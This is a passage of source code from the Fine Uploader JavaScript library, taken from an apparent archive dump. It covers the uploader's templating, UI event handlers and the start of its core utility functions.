qq(bar).css({width: percent + \"%\"});\n                bar.setAttribute(\"aria-valuenow\", percent);\n            }\n        },\n\n        show = function(el) {\n            el && qq(el).removeClass(options.classes.hide);\n        },\n\n        useCachedPreview = function(targetThumbnailId, cachedThumbnailId) {\n            var targetThumbnail = getThumbnail(targetThumbnailId),\n                cachedThumbnail = getThumbnail(cachedThumbnailId);\n\n            log(qq.format(\"ID {} is the same file as ID {}.  Will use generated thumbnail from ID {} instead.\", targetThumbnailId, cachedThumbnailId, cachedThumbnailId));\n\n            // Generation of the related thumbnail may still be in progress, so, wait until it is done.\n            previewGeneration[cachedThumbnailId].then(function() {\n                generatedThumbnails++;\n                previewGeneration[targetThumbnailId].success();\n                log(qq.format(\"Now using previously generated thumbnail created for ID {} on ID {}.\", cachedThumbnailId, targetThumbnailId));\n                targetThumbnail.src = cachedThumbnail.src;\n                show(targetThumbnail);\n            },\n            function() {\n                previewGeneration[targetThumbnailId].failure();\n                if (!options.placeholders.waitUntilUpdate) {\n                    maybeSetDisplayNotAvailableImg(targetThumbnailId, targetThumbnail);\n                }\n            });\n        };\n\n    qq.extend(options, spec);\n    log = options.log;\n\n    // No need to worry about conserving CPU or memory on older browsers,\n    // since there is no ability to preview, and thumbnail display is primitive and quick.\n    if (!qq.supportedFeatures.imagePreviews) {\n        options.limits.timeBetweenThumbs = 0;\n        options.limits.maxThumbs = 0;\n    }\n\n    container = options.containerEl;\n    showThumbnails = options.imageGenerator !== undefined;\n    templateHtml = parseAndGetTemplate();\n\n    cacheThumbnailPlaceholders();\n\n    qq.extend(this, {\n        render: function() {\n            log(\"Rendering template in DOM.\");\n\n            generatedThumbnails = 0;\n\n            container.innerHTML = templateHtml.template;\n            hide(getDropProcessing());\n            this.hideTotalProgress();\n            fileList = options.fileContainerEl || getTemplateEl(container, selectorClasses.list);\n\n            log(\"Template rendering complete\");\n        },\n\n        renderFailure: function(message) {\n            var cantRenderEl = qq.toElement(message);\n            container.innerHTML = \"\";\n            container.appendChild(cantRenderEl);\n        },\n\n        reset: function() {\n            this.render();\n        },\n\n        clearFiles: function() {\n            fileList.innerHTML = \"\";\n        },\n\n        disableCancel: function() {\n            isCancelDisabled = true;\n        },\n\n        addFile: function(id, name, prependInfo, hideForever, batch) {\n            var fileEl = qq.toElement(templateHtml.fileTemplate),\n                fileNameEl = getTemplateEl(fileEl, selectorClasses.file),\n                uploaderEl = getTemplateEl(container, selectorClasses.uploader),\n                fileContainer = batch ? fileBatch.content : fileList,\n                thumb;\n\n            if (batch) {\n                fileBatch.map[id] = fileEl;\n            }\n\n            qq(fileEl).addClass(FILE_CLASS_PREFIX + id);\n            uploaderEl.removeAttribute(DROPZPONE_TEXT_ATTR);\n\n            if (fileNameEl) {\n                qq(fileNameEl).setText(name);\n                fileNameEl.setAttribute(\"title\", name);\n            }\n\n            fileEl.setAttribute(FILE_ID_ATTR, id);\n\n            if (prependInfo) {\n                prependFile(fileEl, prependInfo.index, fileContainer);\n            }\n            else {\n                fileContainer.appendChild(fileEl);\n            }\n\n            if (hideForever) {\n                fileEl.style.display = \"none\";\n                qq(fileEl).addClass(HIDDEN_FOREVER_CLASS);\n            }\n            else {\n                hide(getProgress(id));\n                hide(getSize(id));\n                hide(getDelete(id));\n                hide(getRetry(id));\n                hide(getPause(id));\n                hide(getContinue(id));\n\n                if (isCancelDisabled) {\n                    this.hideCancel(id);\n                }\n\n                thumb = getThumbnail(id);\n                if (thumb && !thumb.src) {\n                    cachedWaitingForThumbnailImg.then(function(waitingImg) {\n                        thumb.src = waitingImg.src;\n                        if (waitingImg.style.maxHeight && waitingImg.style.maxWidth) {\n                            qq(thumb).css({\n                                maxHeight: waitingImg.style.maxHeight,\n                                maxWidth: waitingImg.style.maxWidth\n                            });\n                        }\n\n                        show(thumb);\n                    });\n                }\n            }\n        },\n\n        addFileToCache: function(id, name, prependInfo, hideForever) {\n            this.addFile(id, name, prependInfo, hideForever, true);\n        },\n\n        addCacheToDom: function() {\n            fileList.appendChild(fileBatch.content);\n            fileBatch.content = document.createDocumentFragment();\n            fileBatch.map = {};\n        },\n\n        removeFile: function(id) {\n            qq(getFile(id)).remove();\n        },\n\n        getFileId: function(el) {\n            var currentNode = el;\n\n            if (currentNode) {\n                /*jshint -W116*/\n                while (currentNode.getAttribute(FILE_ID_ATTR) == null) {\n                    currentNode = currentNode.parentNode;\n                }\n\n                return parseInt(currentNode.getAttribute(FILE_ID_ATTR));\n            }\n        },\n\n        getFileList: function() {\n            return fileList;\n        },\n\n        markFilenameEditable: function(id) {\n            var filename = getFilename(id);\n\n            filename && qq(filename).addClass(options.classes.editable);\n        },\n\n        updateFilename: function(id, name) {\n            var filenameEl = getFilename(id);\n\n            if (filenameEl) {\n                qq(filenameEl).setText(name);\n                filenameEl.setAttribute(\"title\", name);\n            }\n        },\n\n        hideFilename: function(id) {\n            hide(getFilename(id));\n        },\n\n        showFilename: function(id) {\n            show(getFilename(id));\n        },\n\n        isFileName: function(el) {\n            return qq(el).hasClass(selectorClasses.file);\n        },\n\n        getButton: function() {\n            return options.button || getTemplateEl(container, selectorClasses.button);\n        },\n\n        hideDropProcessing: function() {\n            hide(getDropProcessing());\n        },\n\n        showDropProcessing: function() {\n            show(getDropProcessing());\n        },\n\n        getDropZone: function() {\n            return getTemplateEl(container, selectorClasses.drop);\n        },\n\n        isEditFilenamePossible: function() {\n            return isEditElementsExist;\n        },\n\n        hideRetry: function(id) {\n            hide(getRetry(id));\n        },\n\n        isRetryPossible: function() {\n            return isRetryElementExist;\n        },\n\n        showRetry: function(id) {\n            show(getRetry(id));\n        },\n\n        getFileContainer: function(id) {\n            return getFile(id);\n        },\n\n        showEditIcon: function(id) {\n            var icon = getEditIcon(id);\n\n            icon && qq(icon).addClass(options.classes.editable);\n        },\n\n        isHiddenForever: function(id) {\n            return qq(getFile(id)).hasClass(HIDDEN_FOREVER_CLASS);\n        },\n\n        hideEditIcon: function(id) {\n            var icon = getEditIcon(id);\n\n            icon && qq(icon).removeClass(options.classes.editable);\n        },\n\n        isEditIcon: function(el) {\n            return qq(el).hasClass(selectorClasses.editNameIcon, true);\n        },\n\n        getEditInput: function(id) {\n            return getTemplateEl(getFile(id), selectorClasses.editFilenameInput);\n        },\n\n        isEditInput: function(el) {\n            return qq(el).hasClass(selectorClasses.editFilenameInput, true);\n        },\n\n        updateProgress: function(id, loaded, total) {\n            var bar = getProgress(id),\n                percent;\n\n            if (bar && total > 0) {\n                percent = Math.round(loaded / total * 100);\n\n                if (percent === 100) {\n                    hide(bar);\n                }\n                else {\n                    show(bar);\n                }\n\n                setProgressBarWidth(id, percent);\n            }\n        },\n\n        updateTotalProgress: function(loaded, total) {\n            this.updateProgress(null, loaded, total);\n        },\n\n        hideProgress: function(id) {\n            var bar = getProgress(id);\n\n            bar && hide(bar);\n        },\n\n        hideTotalProgress: function() {\n            this.hideProgress();\n        },\n\n        resetProgress: function(id) {\n            setProgressBarWidth(id, 0);\n            this.hideTotalProgress(id);\n        },\n\n        resetTotalProgress: function() {\n            this.resetProgress();\n        },\n\n        showCancel: function(id) {\n            if (!isCancelDisabled) {\n                var cancel = getCancel(id);\n\n                cancel && qq(cancel).removeClass(options.classes.hide);\n            }\n        },\n\n        hideCancel: function(id) {\n            hide(getCancel(id));\n        },\n\n        isCancel: function(el)  {\n            return qq(el).hasClass(selectorClasses.cancel, true);\n        },\n\n        allowPause: function(id) {\n            show(getPause(id));\n            hide(getContinue(id));\n        },\n\n        uploadPaused: function(id) {\n            this.setStatusText(id, options.text.paused);\n            this.allowContinueButton(id);\n            hide(getSpinner(id));\n        },\n\n        hidePause: function(id) {\n            hide(getPause(id));\n        },\n\n        isPause: function(el) {\n            return qq(el).hasClass(selectorClasses.pause, true);\n        },\n\n        isContinueButton: function(el) {\n            return qq(el).hasClass(selectorClasses.continueButton, true);\n        },\n\n        allowContinueButton: function(id) {\n            show(getContinue(id));\n            hide(getPause(id));\n        },\n\n        uploadContinued: function(id) {\n            this.setStatusText(id, \"\");\n            this.allowPause(id);\n            show(getSpinner(id));\n        },\n\n        showDeleteButton: function(id) {\n            show(getDelete(id));\n        },\n\n        hideDeleteButton: function(id) {\n            hide(getDelete(id));\n        },\n\n        isDeleteButton: function(el) {\n            return qq(el).hasClass(selectorClasses.deleteButton, true);\n        },\n\n        isRetry: function(el) {\n            return qq(el).hasClass(selectorClasses.retry, true);\n        },\n\n        updateSize: function(id, text) {\n            var size = getSize(id);\n\n            if (size) {\n                show(size);\n                qq(size).setText(text);\n            }\n        },\n\n        setStatusText: function(id, text) {\n            var textEl = getTemplateEl(getFile(id), selectorClasses.statusText);\n\n            if (textEl) {\n                /*jshint -W116*/\n                if (text == null) {\n                    qq(textEl).clearText();\n                }\n                else {\n                    qq(textEl).setText(text);\n                }\n            }\n        },\n\n        hideSpinner: function(id) {\n            qq(getFile(id)).removeClass(IN_PROGRESS_CLASS);\n            hide(getSpinner(id));\n        },\n\n        showSpinner: function(id) {\n            qq(getFile(id)).addClass(IN_PROGRESS_CLASS);\n            show(getSpinner(id));\n        },\n\n        generatePreview: function(id, optFileOrBlob, customResizeFunction) {\n            if (!this.isHiddenForever(id)) {\n                thumbGenerationQueue.push({id: id, customResizeFunction: customResizeFunction, optFileOrBlob: optFileOrBlob});\n                !thumbnailQueueMonitorRunning && generateNextQueuedPreview();\n            }\n        },\n\n        updateThumbnail: function(id, thumbnailUrl, showWaitingImg, customResizeFunction) {\n            if (!this.isHiddenForever(id)) {\n                thumbGenerationQueue.push({customResizeFunction: customResizeFunction, update: true, id: id, thumbnailUrl: thumbnailUrl, showWaitingImg: showWaitingImg});\n                !thumbnailQueueMonitorRunning && generateNextQueuedPreview();\n            }\n        },\n\n        hasDialog: function(type) {\n            return qq.supportedFeatures.dialogElement && !!getDialog(type);\n        },\n\n        showDialog: function(type, message, defaultValue) {\n            var dialog = getDialog(type),\n                messageEl = getTemplateEl(dialog, selectorClasses.dialogMessage),\n                inputEl = dialog.getElementsByTagName(\"INPUT\")[0],\n                cancelBtn = getTemplateEl(dialog, selectorClasses.dialogCancelButton),\n                okBtn = getTemplateEl(dialog, selectorClasses.dialogOkButton),\n                promise = new qq.Promise(),\n\n                closeHandler = function() {\n                    cancelBtn.removeEventListener(\"click\", cancelClickHandler);\n                    okBtn && okBtn.removeEventListener(\"click\", okClickHandler);\n                    promise.failure();\n                },\n\n                cancelClickHandler = function() {\n                    cancelBtn.removeEventListener(\"click\", cancelClickHandler);\n                    dialog.close();\n                },\n\n                okClickHandler = function() {\n                    dialog.removeEventListener(\"close\", closeHandler);\n                    okBtn.removeEventListener(\"click\", okClickHandler);\n                    dialog.close();\n\n                    promise.success(inputEl && inputEl.value);\n                };\n\n            dialog.addEventListener(\"close\", closeHandler);\n            cancelBtn.addEventListener(\"click\", cancelClickHandler);\n            okBtn && okBtn.addEventListener(\"click\", okClickHandler);\n\n            if (inputEl) {\n                inputEl.value = defaultValue;\n            }\n            messageEl.textContent = message;\n\n            dialog.showModal();\n\n            return promise;\n        }\n    });\n};\n","/*globals qq */\n// Base handler for UI (FineUploader mode) events.\n// Some more specific handlers inherit from this one.\nqq.UiEventHandler = function(s, protectedApi) {\n    \"use strict\";\n\n    var disposer = new qq.DisposeSupport(),\n        spec = {\n            eventType: \"click\",\n            attachTo: null,\n            onHandled: function(target, event) {}\n        };\n\n    // This makes up the \"public\" API methods that will be accessible\n    // to instances constructing a base or child handler\n    qq.extend(this, {\n        addHandler: function(element) {\n            addHandler(element);\n        },\n\n        dispose: function() {\n            disposer.dispose();\n        }\n    });\n\n    function addHandler(element) {\n        disposer.attach(element, spec.eventType, function(event) {\n            // Only in IE: the `event` is a property of the `window`.\n            event = event || window.event;\n\n            // On older browsers, we must check the `srcElement` instead of the `target`.\n            var target = event.target || event.srcElement;\n\n            spec.onHandled(target, event);\n        });\n    }\n\n    // These make up the \"protected\" API methods that children of this base handler will utilize.\n    qq.extend(protectedApi, {\n        getFileIdFromItem: function(item) {\n            return item.qqFileId;\n        },\n\n        getDisposeSupport: function() {\n            return disposer;\n        }\n    });\n\n    qq.extend(spec, s);\n\n    if (spec.attachTo) {\n        addHandler(spec.attachTo);\n    }\n};\n","/* global qq */\nqq.FileButtonsClickHandler = function(s) {\n    \"use strict\";\n\n    var inheritedInternalApi = {},\n        spec = {\n            templating: null,\n            log: function(message, lvl) {},\n            onDeleteFile: function(fileId) {},\n            onCancel: function(fileId) {},\n            onRetry: function(fileId) {},\n            onPause: function(fileId) {},\n            onContinue: function(fileId) {},\n            onGetName: function(fileId) {}\n        },\n        buttonHandlers = {\n            cancel: function(id) { spec.onCancel(id); },\n            retry:  function(id) { spec.onRetry(id); },\n            deleteButton: function(id) { spec.onDeleteFile(id); },\n            pause: function(id) { spec.onPause(id); },\n            continueButton: function(id) { spec.onContinue(id); }\n        };\n\n    function examineEvent(target, event) {\n        qq.each(buttonHandlers, function(buttonType, handler) {\n            var firstLetterCapButtonType = buttonType.charAt(0).toUpperCase() + buttonType.slice(1),\n                fileId;\n\n            if (spec.templating[\"is\" + firstLetterCapButtonType](target)) {\n                fileId = spec.templating.getFileId(target);\n                qq.preventDefault(event);\n                spec.log(qq.format(\"Detected valid file button click event on file '{}', ID: {}.\", spec.onGetName(fileId), fileId));\n                handler(fileId);\n                return false;\n            }\n        });\n    }\n\n    qq.extend(spec, s);\n\n    spec.eventType = \"click\";\n    spec.onHandled = examineEvent;\n    spec.attachTo = spec.templating.getFileList();\n\n    qq.extend(this, new qq.UiEventHandler(spec, inheritedInternalApi));\n};\n","/*globals qq */\n// Child of FilenameEditHandler.  Used to detect click events on filename display elements.\nqq.FilenameClickHandler = function(s) {\n    \"use strict\";\n\n    var inheritedInternalApi = {},\n        spec = {\n            templating: null,\n            log: function(message, lvl) {},\n            classes: {\n                file: \"qq-upload-file\",\n                editNameIcon: \"qq-edit-filename-icon\"\n            },\n            onGetUploadStatus: function(fileId) {},\n            onGetName: function(fileId) {}\n        };\n\n    qq.extend(spec, s);\n\n    // This will be called by the parent handler when a `click` event is received on the list element.\n    function examineEvent(target, event) {\n        if (spec.templating.isFileName(target) || spec.templating.isEditIcon(target)) {\n            var fileId = spec.templating.getFileId(target),\n                status = spec.onGetUploadStatus(fileId);\n\n            // We only allow users to change filenames of files that have been submitted but not yet uploaded.\n            if (status === qq.status.SUBMITTED) {\n                spec.log(qq.format(\"Detected valid filename click event on file '{}', ID: {}.\", spec.onGetName(fileId), fileId));\n                qq.preventDefault(event);\n\n                inheritedInternalApi.handleFilenameEdit(fileId, target, true);\n            }\n        }\n    }\n\n    spec.eventType = \"click\";\n    spec.onHandled = examineEvent;\n\n    qq.extend(this, new qq.FilenameEditHandler(spec, inheritedInternalApi));\n};\n","/*globals qq */\n// Child of FilenameEditHandler.  Used to detect focusin events on file edit input elements.\nqq.FilenameInputFocusInHandler = function(s, inheritedInternalApi) {\n    \"use strict\";\n\n    var spec = {\n            templating: null,\n            onGetUploadStatus: function(fileId) {},\n            log: function(message, lvl) {}\n        };\n\n    if (!inheritedInternalApi) {\n        inheritedInternalApi = {};\n    }\n\n    // This will be called by the parent handler when a `focusin` event is received on the list element.\n    function handleInputFocus(target, event) {\n        if (spec.templating.isEditInput(target)) {\n            var fileId = spec.templating.getFileId(target),\n                status = spec.onGetUploadStatus(fileId);\n\n            if (status === qq.status.SUBMITTED) {\n                spec.log(qq.format(\"Detected valid filename input focus event on file '{}', ID: {}.\", spec.onGetName(fileId), fileId));\n                inheritedInternalApi.handleFilenameEdit(fileId, target);\n            }\n        }\n    }\n\n    spec.eventType = \"focusin\";\n    spec.onHandled = handleInputFocus;\n\n    qq.extend(spec, s);\n    qq.extend(this, new qq.FilenameEditHandler(spec, inheritedInternalApi));\n};\n","/*globals qq */\n/**\n * Child of FilenameInputFocusInHandler.  Used to detect focus events on file edit input elements.  This child module is only\n * needed for UAs that do not support the focusin event.  Currently, only Firefox lacks this event.\n *\n * @param spec Overrides for default specifications\n */\nqq.FilenameInputFocusHandler = function(spec) {\n    \"use strict\";\n\n    spec.eventType = \"focus\";\n    spec.attachTo = null;\n\n    qq.extend(this, new qq.FilenameInputFocusInHandler(spec, {}));\n};\n","/*globals qq */\n// Handles edit-related events on a file item (FineUploader mode).  This is meant to be a parent handler.\n// Children will delegate to this handler when specific edit-related actions are detected.\nqq.FilenameEditHandler = function(s, inheritedInternalApi) {\n    \"use strict\";\n\n    var spec = {\n            templating: null,\n            log: function(message, lvl) {},\n            onGetUploadStatus: function(fileId) {},\n            onGetName: function(fileId) {},\n            onSetName: function(fileId, newName) {},\n            onEditingStatusChange: function(fileId, isEditing) {}\n        };\n\n    function getFilenameSansExtension(fileId) {\n        var filenameSansExt = spec.onGetName(fileId),\n            extIdx = filenameSansExt.lastIndexOf(\".\");\n\n        if (extIdx > 0) {\n            filenameSansExt = filenameSansExt.substr(0, extIdx);\n        }\n\n        return filenameSansExt;\n    }\n\n    function getOriginalExtension(fileId) {\n        var origName = spec.onGetName(fileId);\n        return qq.getExtension(origName);\n    }\n\n    // Callback iff the name has been changed\n    function handleNameUpdate(newFilenameInputEl, fileId) {\n        var newName = newFilenameInputEl.value,\n            origExtension;\n\n        if (newName !== undefined && qq.trimStr(newName).length > 0) {\n            origExtension = getOriginalExtension(fileId);\n\n            if (origExtension !== undefined) {\n                newName = newName + \".\" + origExtension;\n            }\n\n            spec.onSetName(fileId, newName);\n        }\n\n        spec.onEditingStatusChange(fileId, false);\n    }\n\n    // The name has been updated if the filename edit input loses focus.\n    function registerInputBlurHandler(inputEl, fileId) {\n        inheritedInternalApi.getDisposeSupport().attach(inputEl, \"blur\", function() {\n            handleNameUpdate(inputEl, fileId);\n        });\n    }\n\n    // The name has been updated if the user presses enter.\n    function registerInputEnterKeyHandler(inputEl, fileId) {\n        inheritedInternalApi.getDisposeSupport().attach(inputEl, \"keyup\", function(event) {\n\n            var code = event.keyCode || event.which;\n\n            if (code === 13) {\n                handleNameUpdate(inputEl, fileId);\n            }\n        });\n    }\n\n    qq.extend(spec, s);\n\n    spec.attachTo = spec.templating.getFileList();\n\n    qq.extend(this, new qq.UiEventHandler(spec, inheritedInternalApi));\n\n    qq.extend(inheritedInternalApi, {\n        handleFilenameEdit: function(id, target, focusInput) {\n            var newFilenameInputEl = spec.templating.getEditInput(id);\n\n            spec.onEditingStatusChange(id, true);\n\n            newFilenameInputEl.value = getFilenameSansExtension(id);\n\n            if (focusInput) {\n                newFilenameInputEl.focus();\n            }\n\n            registerInputBlurHandler(newFilenameInputEl, id);\n            registerInputEnterKeyHandler(newFilenameInputEl, id);\n        }\n    });\n};\n"]}js/fileupload/fine-uploader.core.js000060400000770637150710775200013347 0ustar00// Fine Uploader 5.11.8 - (c) 2013-present Widen Enterprises, Inc. MIT licensed. http://fineuploader.com
(function(global) {
    var qq = function(element) {
        "use strict";
        return {
            hide: function() {
                element.style.display = "none";
                return this;
            },
            attach: function(type, fn) {
                if (element.addEventListener) {
                    element.addEventListener(type, fn, false);
                } else if (element.attachEvent) {
                    element.attachEvent("on" + type, fn);
                }
                return function() {
                    qq(element).detach(type, fn);
                };
            },
            detach: function(type, fn) {
                if (element.removeEventListener) {
                    element.removeEventListener(type, fn, false);
                } else if (element.attachEvent) {
                    element.detachEvent("on" + type, fn);
                }
                return this;
            },
            contains: function(descendant) {
                if (!descendant) {
                    return false;
                }
                if (element === descendant) {
                    return true;
                }
                if (element.contains) {
                    return element.contains(descendant);
                } else {
                    return !!(descendant.compareDocumentPosition(element) & 8);
                }
            },
            insertBefore: function(elementB) {
                elementB.parentNode.insertBefore(element, elementB);
                return this;
            },
            remove: function() {
                element.parentNode.removeChild(element);
                return this;
            },
            css: function(styles) {
                if (element.style == null) {
                    throw new qq.Error("Can't apply style to node as it is not on the HTMLElement prototype chain!");
                }
                if (styles.opacity != null) {
                    if (typeof element.style.opacity !== "string" && typeof element.filters !== "undefined") {
                        styles.filter = "alpha(opacity=" + Math.round(100 * styles.opacity) + ")";
                    }
                }
                qq.extend(element.style, styles);
                return this;
            },
            hasClass: function(name, considerParent) {
                var re = new RegExp("(^| )" + name + "( |$)");
                return re.test(element.className) || !!(considerParent && re.test(element.parentNode.className));
            },
            addClass: function(name) {
                if (!qq(element).hasClass(name)) {
                    element.className += " " + name;
                }
                return this;
            },
            removeClass: function(name) {
                var re = new RegExp("(^| )" + name + "( |$)");
                element.className = element.className.replace(re, " ").replace(/^\s+|\s+$/g, "");
                return this;
            },
            getByClass: function(className, first) {
                var candidates, result = [];
                if (first && element.querySelector) {
                    return element.querySelector("." + className);
                } else if (element.querySelectorAll) {
                    return element.querySelectorAll("." + className);
                }
                candidates = element.getElementsByTagName("*");
                qq.each(candidates, function(idx, val) {
                    if (qq(val).hasClass(className)) {
                        result.push(val);
                    }
                });
                return first ? result[0] : result;
            },
            getFirstByClass: function(className) {
                return qq(element).getByClass(className, true);
            },
            children: function() {
                var children = [], child = element.firstChild;
                while (child) {
                    if (child.nodeType === 1) {
                        children.push(child);
                    }
                    child = child.nextSibling;
                }
                return children;
            },
            setText: function(text) {
                element.innerText = text;
                element.textContent = text;
                return this;
            },
            clearText: function() {
                return qq(element).setText("");
            },
            hasAttribute: function(attrName) {
                var attrVal;
                if (element.hasAttribute) {
                    if (!element.hasAttribute(attrName)) {
                        return false;
                    }
                    return /^false$/i.exec(element.getAttribute(attrName)) == null;
                } else {
                    attrVal = element[attrName];
                    if (attrVal === undefined) {
                        return false;
                    }
                    return /^false$/i.exec(attrVal) == null;
                }
            }
        };
    };
    (function() {
        "use strict";
        qq.canvasToBlob = function(canvas, mime, quality) {
            return qq.dataUriToBlob(canvas.toDataURL(mime, quality));
        };
        qq.dataUriToBlob = function(dataUri) {
            var arrayBuffer, byteString, createBlob = function(data, mime) {
                var BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder || window.MSBlobBuilder, blobBuilder = BlobBuilder && new BlobBuilder();
                if (blobBuilder) {
                    blobBuilder.append(data);
                    return blobBuilder.getBlob(mime);
                } else {
                    return new Blob([ data ], {
                        type: mime
                    });
                }
            }, intArray, mimeString;
            if (dataUri.split(",")[0].indexOf("base64") >= 0) {
                byteString = atob(dataUri.split(",")[1]);
            } else {
                byteString = decodeURI(dataUri.split(",")[1]);
            }
            mimeString = dataUri.split(",")[0].split(":")[1].split(";")[0];
            arrayBuffer = new ArrayBuffer(byteString.length);
            intArray = new Uint8Array(arrayBuffer);
            qq.each(byteString, function(idx, character) {
                intArray[idx] = character.charCodeAt(0);
            });
            return createBlob(arrayBuffer, mimeString);
        };
        qq.log = function(message, level) {
            if (window.console) {
                if (!level || level === "info") {
                    window.console.log(message);
                } else {
                    if (window.console[level]) {
                        window.console[level](message);
                    } else {
                        window.console.log("<" + level + "> " + message);
                    }
                }
            }
        };
        qq.isObject = function(variable) {
            return variable && !variable.nodeType && Object.prototype.toString.call(variable) === "[object Object]";
        };
        qq.isFunction = function(variable) {
            return typeof variable === "function";
        };
        qq.isArray = function(value) {
            return Object.prototype.toString.call(value) === "[object Array]" || value && window.ArrayBuffer && value.buffer && value.buffer.constructor === ArrayBuffer;
        };
        qq.isItemList = function(maybeItemList) {
            return Object.prototype.toString.call(maybeItemList) === "[object DataTransferItemList]";
        };
        qq.isNodeList = function(maybeNodeList) {
            return Object.prototype.toString.call(maybeNodeList) === "[object NodeList]" || maybeNodeList.item && maybeNodeList.namedItem;
        };
        qq.isString = function(maybeString) {
            return Object.prototype.toString.call(maybeString) === "[object String]";
        };
        qq.trimStr = function(string) {
            if (String.prototype.trim) {
                return string.trim();
            }
            return string.replace(/^\s+|\s+$/g, "");
        };
        qq.format = function(str) {
            var args = Array.prototype.slice.call(arguments, 1), newStr = str, nextIdxToReplace = newStr.indexOf("{}");
            qq.each(args, function(idx, val) {
                var strBefore = newStr.substring(0, nextIdxToReplace), strAfter = newStr.substring(nextIdxToReplace + 2);
                newStr = strBefore + val + strAfter;
                nextIdxToReplace = newStr.indexOf("{}", nextIdxToReplace + val.length);
                if (nextIdxToReplace < 0) {
                    return false;
                }
            });
            return newStr;
        };
        qq.isFile = function(maybeFile) {
            return window.File && Object.prototype.toString.call(maybeFile) === "[object File]";
        };
        qq.isFileList = function(maybeFileList) {
            return window.FileList && Object.prototype.toString.call(maybeFileList) === "[object FileList]";
        };
        qq.isFileOrInput = function(maybeFileOrInput) {
            return qq.isFile(maybeFileOrInput) || qq.isInput(maybeFileOrInput);
        };
        qq.isInput = function(maybeInput, notFile) {
            var evaluateType = function(type) {
                var normalizedType = type.toLowerCase();
                if (notFile) {
                    return normalizedType !== "file";
                }
                return normalizedType === "file";
            };
            if (window.HTMLInputElement) {
                if (Object.prototype.toString.call(maybeInput) === "[object HTMLInputElement]") {
                    if (maybeInput.type && evaluateType(maybeInput.type)) {
                        return true;
                    }
                }
            }
            if (maybeInput.tagName) {
                if (maybeInput.tagName.toLowerCase() === "input") {
                    if (maybeInput.type && evaluateType(maybeInput.type)) {
                        return true;
                    }
                }
            }
            return false;
        };
        qq.isBlob = function(maybeBlob) {
            if (window.Blob && Object.prototype.toString.call(maybeBlob) === "[object Blob]") {
                return true;
            }
        };
        qq.isXhrUploadSupported = function() {
            var input = document.createElement("input");
            input.type = "file";
            return input.multiple !== undefined && typeof File !== "undefined" && typeof FormData !== "undefined" && typeof qq.createXhrInstance().upload !== "undefined";
        };
        qq.createXhrInstance = function() {
            if (window.XMLHttpRequest) {
                return new XMLHttpRequest();
            }
            try {
                return new ActiveXObject("MSXML2.XMLHTTP.3.0");
            } catch (error) {
                qq.log("Neither XHR or ActiveX are supported!", "error");
                return null;
            }
        };
        qq.isFolderDropSupported = function(dataTransfer) {
            return dataTransfer.items && dataTransfer.items.length > 0 && dataTransfer.items[0].webkitGetAsEntry;
        };
        qq.isFileChunkingSupported = function() {
            return !qq.androidStock() && qq.isXhrUploadSupported() && (File.prototype.slice !== undefined || File.prototype.webkitSlice !== undefined || File.prototype.mozSlice !== undefined);
        };
        qq.sliceBlob = function(fileOrBlob, start, end) {
            var slicer = fileOrBlob.slice || fileOrBlob.mozSlice || fileOrBlob.webkitSlice;
            return slicer.call(fileOrBlob, start, end);
        };
        qq.arrayBufferToHex = function(buffer) {
            var bytesAsHex = "", bytes = new Uint8Array(buffer);
            qq.each(bytes, function(idx, byt) {
                var byteAsHexStr = byt.toString(16);
                if (byteAsHexStr.length < 2) {
                    byteAsHexStr = "0" + byteAsHexStr;
                }
                bytesAsHex += byteAsHexStr;
            });
            return bytesAsHex;
        };
        qq.readBlobToHex = function(blob, startOffset, length) {
            var initialBlob = qq.sliceBlob(blob, startOffset, startOffset + length), fileReader = new FileReader(), promise = new qq.Promise();
            fileReader.onload = function() {
                promise.success(qq.arrayBufferToHex(fileReader.result));
            };
            fileReader.onerror = promise.failure;
            fileReader.readAsArrayBuffer(initialBlob);
            return promise;
        };
        qq.extend = function(first, second, extendNested) {
            qq.each(second, function(prop, val) {
                if (extendNested && qq.isObject(val)) {
                    if (first[prop] === undefined) {
                        first[prop] = {};
                    }
                    qq.extend(first[prop], val, true);
                } else {
                    first[prop] = val;
                }
            });
            return first;
        };
        qq.override = function(target, sourceFn) {
            var super_ = {}, source = sourceFn(super_);
            qq.each(source, function(srcPropName, srcPropVal) {
                if (target[srcPropName] !== undefined) {
                    super_[srcPropName] = target[srcPropName];
                }
                target[srcPropName] = srcPropVal;
            });
            return target;
        };
        qq.indexOf = function(arr, elt, from) {
            if (arr.indexOf) {
                return arr.indexOf(elt, from);
            }
            from = from || 0;
            var len = arr.length;
            if (from < 0) {
                from += len;
            }
            for (;from < len; from += 1) {
                if (arr.hasOwnProperty(from) && arr[from] === elt) {
                    return from;
                }
            }
            return -1;
        };
        qq.getUniqueId = function() {
            return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function(c) {
                var r = Math.random() * 16 | 0, v = c == "x" ? r : r & 3 | 8;
                return v.toString(16);
            });
        };
        qq.ie = function() {
            return navigator.userAgent.indexOf("MSIE") !== -1 || navigator.userAgent.indexOf("Trident") !== -1;
        };
        qq.ie7 = function() {
            return navigator.userAgent.indexOf("MSIE 7") !== -1;
        };
        qq.ie8 = function() {
            return navigator.userAgent.indexOf("MSIE 8") !== -1;
        };
        qq.ie10 = function() {
            return navigator.userAgent.indexOf("MSIE 10") !== -1;
        };
        qq.ie11 = function() {
            return qq.ie() && navigator.userAgent.indexOf("rv:11") !== -1;
        };
        qq.edge = function() {
            return navigator.userAgent.indexOf("Edge") >= 0;
        };
        qq.safari = function() {
            return navigator.vendor !== undefined && navigator.vendor.indexOf("Apple") !== -1;
        };
        qq.chrome = function() {
            return navigator.vendor !== undefined && navigator.vendor.indexOf("Google") !== -1;
        };
        qq.opera = function() {
            return navigator.vendor !== undefined && navigator.vendor.indexOf("Opera") !== -1;
        };
        qq.firefox = function() {
            return !qq.edge() && !qq.ie11() && navigator.userAgent.indexOf("Mozilla") !== -1 && navigator.vendor !== undefined && navigator.vendor === "";
        };
        qq.windows = function() {
            return navigator.platform === "Win32";
        };
        qq.android = function() {
            return navigator.userAgent.toLowerCase().indexOf("android") !== -1;
        };
        qq.androidStock = function() {
            return qq.android() && navigator.userAgent.toLowerCase().indexOf("chrome") < 0;
        };
        qq.ios6 = function() {
            return qq.ios() && navigator.userAgent.indexOf(" OS 6_") !== -1;
        };
        qq.ios7 = function() {
            return qq.ios() && navigator.userAgent.indexOf(" OS 7_") !== -1;
        };
        qq.ios8 = function() {
            return qq.ios() && navigator.userAgent.indexOf(" OS 8_") !== -1;
        };
        qq.ios800 = function() {
            return qq.ios() && navigator.userAgent.indexOf(" OS 8_0 ") !== -1;
        };
        qq.ios = function() {
